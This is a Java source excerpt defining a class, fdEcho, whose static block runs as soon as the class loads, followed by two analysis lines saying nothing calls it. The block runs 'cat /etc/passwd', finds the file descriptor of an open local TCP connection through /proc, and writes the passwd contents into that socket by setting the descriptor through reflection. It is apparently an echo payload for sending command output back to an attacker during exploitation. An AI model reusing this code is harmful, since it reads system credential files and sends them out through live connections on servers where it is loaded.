| 5 | import java.nio.charset.StandardCharsets; |
| 6 | |
| 7 | public class fdEcho { |
| 8 | public static String exec(String cmd) { |
| 9 | try { |
| 10 | Process process = Runtime.getRuntime().exec(cmd); |
| 11 | InputStream fis = process.getInputStream(); |
| 12 | InputStreamReader isr = new InputStreamReader(fis); |
| 13 | BufferedReader br = new BufferedReader(isr); |
| 14 | String line = null; |
| 15 | StringBuilder builder = new StringBuilder(); |
| 16 | while ((line = br.readLine()) != null) { |
| 17 | builder.append(line); |
| 18 | } |
| 19 | return builder.toString(); |
| 20 | } catch (Exception ignore) { |
| 21 | } |
| 22 | return ""; |
| 23 | } |
| 24 | |
| 25 | public static String ipToHex(String ip) { |
| 26 | StringBuilder sb = new StringBuilder(); |
| 27 | String[] data = ip.split("\\."); |
| 28 | int temp; |
| 29 | for (int i = 0; i < 4; i++) { |
| 30 | temp = Integer.parseInt(data[i]); |
| 31 | sb.insert(0, String.format("%02x", temp).toUpperCase()); |
| 32 | } |
| 33 | return sb.toString(); |
| 34 | } |
| 35 | |
| 36 | static { |
| 37 | try { |
| 38 | String hex = ipToHex("127.0.0.1"); |
| 39 | String cmd = "cat /etc/passwd"; |
| 40 | String result = exec(cmd); |
| 41 | String inode = exec(String.format("cat /proc/net/tcp6 | awk '$3 ~/%s/{print $10}'", hex)); |
| 42 | for (String i : inode.split("\n")) { |
| 43 | String res2 = exec(String.format("ls -al /proc/*/fd | awk '$11 ~/%s/{print $9}'", i)); |
| 44 | int num = Integer.parseInt(res2.replaceAll("\\s", "")); |
| 45 | FileDescriptor fd = new FileDescriptor(); |
| 46 | Field field = fd.getClass().getDeclaredField("fd"); |
| 47 | field.setAccessible(true); |
| 48 | field.set(fd, num); |
| 49 | FileOutputStream fout = new FileOutputStream(fd); |
| 50 | fout.write(result.getBytes(StandardCharsets.UTF_8)); |
| 51 | } |
| 52 | } catch (Exception e) { |
| 53 | e.printStackTrace(); |
| 54 | } |
| 55 | } |
| 56 | } |
nothing calls this directly
no test coverage detected